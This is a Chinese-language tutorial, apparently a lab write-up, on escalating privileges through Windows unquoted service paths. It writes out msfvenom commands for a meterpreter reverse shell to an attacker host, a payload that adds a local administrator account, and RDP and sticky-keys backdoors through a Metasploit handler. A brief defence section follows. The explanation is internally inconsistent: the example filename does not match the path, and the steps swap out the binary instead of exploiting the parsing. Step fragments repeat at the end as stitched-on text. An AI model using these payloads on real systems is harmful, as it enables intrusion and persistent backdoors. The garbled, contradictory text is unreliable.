Windows提权：利用未加引号的服务路径漏洞<\/h1>

漏洞概述<\/h2>
未加引号的服务路径(Unquoted Service Path)是Windows系统中一种常见的权限提升漏洞。当Windows服务的可执行文件路径包含空格且未用引号括起来时，系统会按照特定顺序尝试解析路径，攻击者可以利用这一特性实现权限提升。<\/p>

漏洞原理<\/h2>

Windows服务在启动时，如果其路径包含空格且未被引号括起来，系统会按照以下顺序尝试解析路径：<\/p>

从路径开头开始，遇到空格就尝试作为完整路径执行<\/li>
如果失败，则继续向后查找下一个空格，再次尝试<\/li>

直到找到正确的可执行文件为止<\/li> <\/ol>

例如，对于路径 C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe<\/code>，系统会依次尝试：<\/p>


C:\Program.exe<\/code><\/li>
C:\Program Files\Photodex\ProShow.exe<\/code><\/li>
C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe<\/code><\/li>
<\/ul>
如果攻击者能够在其中一个中间位置(如C:\Program Files\<\/code>)写入恶意文件(如Photodex.exe<\/code>)，当服务重启时，系统会优先执行这个恶意文件而非原始文件。<\/p>
环境准备<\/h2>
受害者机器<\/h3>

操作系统：Windows 7<\/li>
安装有漏洞的应用程序：Photodex ProShow (可从Exploit-DB下载)<\/li>
<\/ul>
攻击者机器<\/h3>

Kali Linux<\/li>
<\/ul>
漏洞利用步骤<\/h2>
1. 获取初始访问权限<\/h3>
首先需要获取目标系统的meterpreter会话，可以通过各种渗透测试方法实现。<\/p>
2. 枚举存在漏洞的服务<\/h3>
在获取meterpreter会话后，打开命令shell，执行以下命令枚举可能存在漏洞的服务：<\/p>
wmic service get name,displayname,pathname,startmode | findstr \/i "auto"<\/span> | findstr \/i \/v "c:\windows\\"<\/span> | findstr \/i \/v """<\/span>
<\/span><\/span><\/code><\/pre>这条命令会列出：<\/p>

自动启动的服务<\/li>
不在Windows目录下的服务<\/li>
路径未加引号的服务<\/li>
<\/ul>
3. 检查文件权限<\/h3>
找到可疑服务后，检查其所在目录的权限：<\/p>
icacls "C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe"<\/span>
<\/span><\/span><\/code><\/pre>如果发现"Everyone"或当前用户有写入权限，则存在利用可能。<\/p>
4. 生成恶意payload<\/h3>
在Kali Linux上使用msfvenom生成恶意可执行文件：<\/p>
方法一：使用Prepend-migrate保持会话<\/h4>
msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=<\/span>192.168.1.107 LPORT=<\/span>1234<\/span> PrependMigrate=<\/span>true PrependMigrateProcess=<\/span>explorer.exe -f exe > \/root\/Desktop\/scsiaccess.exe
<\/span><\/span><\/code><\/pre>参数说明：<\/p>

PrependMigrate=true<\/code>：如果当前进程被杀，payload会迁移到其他进程<\/li>
PrependMigrateProcess=explorer.exe<\/code>：指定迁移目标进程为explorer.exe<\/li>
<\/ul>
方法二：添加用户到管理员组<\/h4>
msfvenom -p windows\/exec CMD=<\/span>'net localgroup administrators raaz \/add'<\/span> -f exe > \/root\/Desktop\/scsiaccess.exe
<\/span><\/span><\/code><\/pre>方法三：启用RDP和粘滞键后门<\/h4>
msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=<\/span>192.168.1.107 LPORT=<\/span>1234<\/span> -f exe > \/root\/Desktop\/scsiaccess.exe
<\/span><\/span><\/code><\/pre>5. 替换原始文件<\/h3>
在meterpreter会话中执行：<\/p>
move<\/span> scsiaccess.exe scsiaccess.exe.original
<\/span><\/span>upload \/root\/Desktop\/scsiaccess.exe
<\/span><\/span><\/code><\/pre>6. 设置监听器<\/h3>
在Kali上启动multi\/handler监听器：<\/p>
use exploit\/multi\/handler
<\/span><\/span>set payload windows\/meterpreter\/reverse_tcp
<\/span><\/span>set LHOST 192.168.1.107
<\/span><\/span>set LPORT 1234<\/span>
<\/span><\/span><\/code><\/pre>根据需求选择附加功能：<\/p>
启用RDP功能<\/h4>
set AutoRunScript post\/windows\/manage\/enable_rdp
<\/span><\/span><\/code><\/pre>启用粘滞键后门<\/h4>
set AutoRunScript post\/windows\/manage\/sticky_keys
<\/span><\/span><\/code><\/pre>然后执行：<\/p>
exploit
<\/span><\/span><\/code><\/pre>7. 触发漏洞<\/h3>
重启目标机器或重启服务，系统会加载恶意文件。<\/p>
8. 获取权限<\/h3>

对于方法一：直接获得meterpreter会话的管理权限<\/li>
对于方法二：用户"raaz"将被添加到管理员组<\/li>
对于方法三：可以通过RDP连接(使用mstsc)或连续按5次Shift键触发粘滞键后门<\/li>
<\/ul>
防御措施<\/h2>

正确引用服务路径<\/strong>：在服务配置中，确保所有包含空格的可执行路径都用引号括起来<\/li>
最小权限原则<\/strong>：限制对程序目录的写入权限，特别是系统关键目录<\/li>
定期审计<\/strong>：使用工具扫描系统中的未加引号服务路径<\/li>
使用安全产品<\/strong>：部署能够检测和阻止此类攻击的安全解决方案<\/li>
<\/ol>
总结<\/h2>
未加引号的服务路径漏洞是一种常见的Windows权限提升技术，利用系统解析可执行文件路径的方式实现权限提升。防御此类攻击的关键在于正确的服务配置和严格的权限控制。系统管理员应定期检查服务配置，确保所有包含空格的服务路径都被正确引用。<\/p>

Windows提权：利用未加引号的服务路径漏洞<\/h1>

漏洞利用步骤<\/h2>

1. 获取初始访问权限<\/h3> 首先需要获取目标系统的meterpreter会话，可以通过各种渗透测试方法实现。<\/p>

4. 生成恶意payload<\/h3> 在Kali Linux上使用msfvenom生成恶意可执行文件：<\/p>

7. 触发漏洞<\/h3> 重启目标机器或重启服务，系统会加载恶意文件。<\/p>

1. 获取初始访问权限<\/h3>
首先需要获取目标系统的meterpreter会话，可以通过各种渗透测试方法实现。<\/p>

4. 生成恶意payload<\/h3>
在Kali Linux上使用msfvenom生成恶意可执行文件：<\/p>

7. 触发漏洞<\/h3>
重启目标机器或重启服务，系统会加载恶意文件。<\/p>